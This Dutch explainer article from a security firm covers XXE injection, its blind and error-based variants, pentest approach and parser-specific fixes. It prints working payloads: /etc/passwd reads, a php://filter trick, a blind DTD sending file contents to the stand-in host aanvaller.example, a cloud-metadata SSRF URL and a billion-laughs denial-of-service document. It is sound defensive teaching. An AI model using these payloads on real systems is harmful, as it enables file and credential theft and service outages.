Maandelijkse vulnerability scanning: Eerste maand kosteloos! Meer informatie →
Hero

WIJ ZIJN

HACKIFY

XXE - XML External Entity injection

XXE - XML External Entity injection

22 juli 2026 · 7 min leestijd · begrippen

web

Wat is XXE (XML External Entity injection)?

XXE (XML External Entity injection) is een kwetsbaarheid in software die XML verwerkt, meestal een webapplicatie of API. De parser leest een verwijzing naar een externe bron die de aanvaller zelf in de XML heeft gezet, en haalt die op. Zo laat een aanvaller de server bestanden uitlezen of verzoeken doen naar systemen waar hij normaal niet bij kan.

Dat werkt via een entiteit, een soort variabele in een XML-document. De meeste entiteiten zijn onschuldig en staan voor een stukje tekst. Een externe entiteit haalt zijn waarde ergens anders vandaan, uit een lokaal bestand of van een URL. Zodra de parser zo’n entiteit tegenkomt, haalt hij die bron op en zet de inhoud middenin het document.

Misbruik lukt pas als twee dingen samenvallen. De XML komt (deels) van de gebruiker, en de parser haalt externe entiteiten op. Of het misgaat, hangt dus volledig van de parser af. Moderne parsers doen dit standaard niet meer, dus je komt XXE vooral tegen bij oudere of zelfgebouwde XML- en SOAP-verwerking. In de OWASP Top 10 was het in 2017 nog een eigen categorie (A4). Sinds 2021 valt het onder A05 Security Misconfiguration, precies omdat de oorzaak een parser is die te veel toestaat. In de MITRE-lijst is het CWE-611.

Hoe werkt een XXE-aanval?

Een aanval begint met een entiteit die de aanvaller zelf declareert in een DOCTYPE, met een verwijzing naar het bestand dat hij wil lezen. Daarna roept hij die entiteit aan in de inhoud:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

De parser komt &xxe; tegen, haalt /etc/passwd op en zet de inhoud op die plek. Geeft de applicatie het verwerkte document terug, dan leest de aanvaller het bestand mee. Dat heet in-band XXE, omdat het antwoord in dezelfde respons zit. De server leest hier alleen data. Code voert hij niet uit.

Niet elk bestand komt er zomaar uit. Staan er tekens in met een speciale XML-betekenis, zoals < of &, dan breekt de parser af op de inhoud. Op PHP omzeil je dat met de ingebouwde filter php://filter/convert.base64-encode/resource=/etc/passwd, die het bestand eerst base64-codeert. Die base64 komt wél door de parser, waarna je hem zelf decodeert. Buiten PHP vang je de inhoud via een externe DTD in een CDATA-blok.

Blinde XXE zonder zichtbare respons

Vaak stuurt de applicatie het verwerkte document niet terug, dus ziet de aanvaller het bestand niet. Veiliger is de applicatie daarmee niet. Bij een blinde XXE laat de aanvaller de server de inhoud naar zijn eigen adres sturen. Een lege respons zegt dus niets over de veiligheid.

Dat gaat met een parameter-entiteit, een variant die je met een % schrijft en die alleen binnen de DTD werkt. Het ingestuurde bestand verwijst naar een tweede stukje XML op de server van de aanvaller:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://aanvaller.example/evil.dtd">
  %xxe;
]>
<foo>test</foo>

Die evil.dtd leest een bestand en plakt de inhoud in een URL terug naar de aanvaller:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://aanvaller.example/?d=%file;'>">
%eval;
%exfil;

De server leest /etc/passwd en stuurt de inhoud mee naar de aanvaller, die het bestand in zijn logs ziet verschijnen. De &#x25; is een geëncodeerd %-teken, zodat het pas meetelt zodra %eval; wordt uitgevouwen en niet al bij het inlezen van de DTD. Dit moet via een apart DTD-bestand, want binnen het ingestuurde document verbiedt de XML-standaard zulke geneste parameter-entiteiten.

Lukt geen uitgaande verbinding, dan is er nog een weg. Bij een error-based XXE laat de aanvaller de parser een bestand openen dat niet bestaat, met een pad dat is opgebouwd uit de inhoud van het doelbestand. De foutmelding bevat dan dat pad, en dus de inhoud. Zo lekt de data via de foutafhandeling in plaats van via een eigen server.

Wat kan een aanvaller met XXE bereiken?

Hoe ver een aanvaller komt, hangt af van welke bestanden het serverproces mag openen en welke soorten URL de parser accepteert.

  • Bestanden uitlezen is de klassieke uitkomst. Zodra file:// is toegestaan, kan een aanvaller elk bestand opvragen dat het serverproces zelf mag lezen, zoals configuratiebestanden met wachtwoorden of private sleutels.
  • Interne systemen bereiken maakt van XXE een opstap naar SSRF. Met een http://-URL doet de server het verzoek vanuit zijn eigen netwerk, bijvoorbeeld naar een cloud-metadata-adres als http://169.254.169.254/latest/meta-data/ dat inloggegevens kan prijsgeven.
  • Code uitvoeren komt zelden voor. In een enkele stack, zoals PHP met de expect://-wrapper, kan een XXE uitgroeien tot een volledige overname van de server, maar die wrapper zit niet in een standaardinstallatie.

Een laatste variant heeft geen externe bron nodig en leunt puur op de entiteiten zelf. Bij de klassieke billion laughs definieert een aanvaller een reeks entiteiten die elkaar steeds tien keer aanroepen:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>

&lol4; staat hier al voor duizend keer lol, en elke extra laag vertienvoudigt dat. Bij een niveau of negen moet de parser honderden miljoenen keer lol uitschrijven en loopt het geheugen vol. Officieel valt dit niet onder XXE, want een externe entiteit komt er niet aan te pas. Het leunt op dezelfde parser-instelling. Zodra DTD’s en entiteiten aanstaan kan het, en dezelfde fix helpt. Geen DOCTYPE toestaan haalt ook deze aanval weg.

XXE is geen papieren risico. In Apache Solr liep een XXE via CVE-2017-12629 door tot code-uitvoering, en in 2024 zat er een in de SAML-component van Ivanti Connect Secure (CVE-2024-22024), goed voor toegang zonder inloggegevens.

Het aanvalsoppervlak is groter dan het lijkt. XXE zit lang niet altijd in een voor de hand liggend XML-veld. Ook bestandsuploads en endpoints die eigenlijk iets anders verwachten, kunnen XML gaan verwerken.

XXE in een pentest

Bij een webapplicatie pentest zoeken we elke plek op waar de applicatie XML inleest. Voor de hand liggen SOAP-services, SAML-berichten en import-functies. Minder zichtbaar zijn bestandsuploads, want een DOCX, XLSX of SVG bestaat intern uit XML. Soms gaat een endpoint dat JSON verwacht alsnog XML verwerken zodra je de Content-Type naar application/xml omzet.

Op elke plek beginnen we klein. Eerst kijken we of de parser entiteiten überhaupt uitvouwt, met een onschuldige interne entiteit die één woord vervangt. Komt dat woord terug in de respons, dan worden entiteiten verwerkt en is de kans op XXE groot. Daarna proberen we een externe entiteit naar een testbestand of naar onze eigen server. Zien we de bestandsinhoud in het antwoord, dan lezen we die mee. Blijft het antwoord leeg, dan testen we blind en laten we de server een verzoek naar ons toe doen. Burp Suite met de Collaborator vangt die callback op. Vinden we een gat, dan laten we concreet zien welk bestand of intern systeem eruit te halen valt, niet alleen dat het kan.

Hoe voorkom je XXE?

De beste oplossing is meteen de simpelste. Laat de parser geen DOCTYPE meer accepteren. Geen DOCTYPE betekent geen entiteiten, en dan is elke variant in één klap weg. Kun je de DOCTYPE echt niet missen, zet dan het oplossen van externe entiteiten uit, zowel de gewone als de parameter-variant. Alleen de eerste uitzetten laat de blinde aanval namelijk openstaan.

Per parser zit de knop ergens anders:

Parser Wat je uitzet
Java (DocumentBuilderFactory, SAX) disallow-doctype-decl op true; aanvullend externe general- en parameter-entiteiten op false
.NET (XmlReader) DtdProcessing = DtdProcessing.Prohibit en XmlResolver = null
PHP (libxml) sinds libxml 2.9.0 al veilig; geef nooit LIBXML_NOENT mee aan loadXML()
Python gebruik defusedxml in plaats van de standaard xml-modules

Moderne runtimes zijn vaak al goed ingesteld. .NET is standaard veilig vanaf Framework 4.6 en in .NET Core en 5+, en libxml (onder PHP) laadt sinds 2.9.0 uit 2012 geen externe entiteiten meer. De echte valkuil in PHP is de vlag LIBXML_NOENT. Geef je die per ongeluk mee aan loadXML(), dan zet je het oplossen van entiteiten juist weer aan. Java laat externe entiteiten ook in de huidige JDK’s standaard toe, dus daar moet je ze zelf uitzetten.

Let op één uitzondering. Een XInclude-aanval werkt zonder DOCTYPE, dus het blokkeren van de DTD helpt daar niet tegen. Zet XIncludeAware daarom ook op false als je die functie niet gebruikt. Werk je met simpele data, dan is een formaat zonder entiteiten zoals JSON sowieso veiliger. Houd verder je XML-libraries up-to-date, want juist de oude versies haalden externe entiteiten nog op. De volledige instellingen per taal staan in de OWASP XXE Prevention Cheat Sheet.

Uiteindelijk komt het neer op één principe. Een XML-parser hoort nooit uit zichzelf een bestand of URL op te halen die hij niet nodig heeft.

Veelgestelde vragen over XXE

Is XXE nog relevant nu het uit de OWASP Top 10 is verdwenen?

XXE was in 2017 een eigen categorie (A4) en valt sinds 2021 onder A05 Security Misconfiguration. Het schoof op omdat de oorzaak een parser is die te veel toestaat. Zeldzaam is het daarmee niet geworden. De meeste moderne parsers zijn veilig, dus je ziet het vooral bij oudere of zelfgebouwde XML- en SOAP-verwerking.

Wat is het verschil tussen XXE en SSRF?

XXE is een fout in het verwerken van XML. SSRF is breder. Daarbij laat je een server verzoeken doen die hij niet hoort te doen. Zet je in een XXE een http://-URL, dan doet de server dat verzoek en gebruik je XXE om SSRF te bereiken. Andersom hoeft een SSRF niet uit XXE te komen.

Betekent geen zichtbare output dat mijn applicatie veilig is?

Nee. Bij een blinde XXE komt de bestandsinhoud niet terug in de respons. De aanvaller laat de server het resultaat dan naar een eigen adres sturen, of leest het uit een foutmelding. Een lege respons zegt dus niets over de kwetsbaarheid.

Welke XML-parsers zijn standaard al veilig?

.NET is standaard veilig vanaf Framework 4.6 en in .NET Core en 5+, en libxml (de basis onder PHP) laadt sinds versie 2.9.0 uit 2012 geen externe entiteiten meer. Java laat ze ook in de huidige JDK’s standaard toe, dus daar moet je het oplossen van externe entiteiten expliciet uitzetten.

Kan XXE tot een volledige overname van de server leiden?

Soms. Meestal blijft de impact bij het uitlezen van bestanden of het bereiken van interne systemen. In een enkele stack, zoals PHP met de expect://-wrapper, kan een aanvaller via XXE code uitvoeren, al zit die wrapper niet in een standaardinstallatie. De directe schade zit doorgaans in datalekken en SSRF.

Gerelateerde artikelen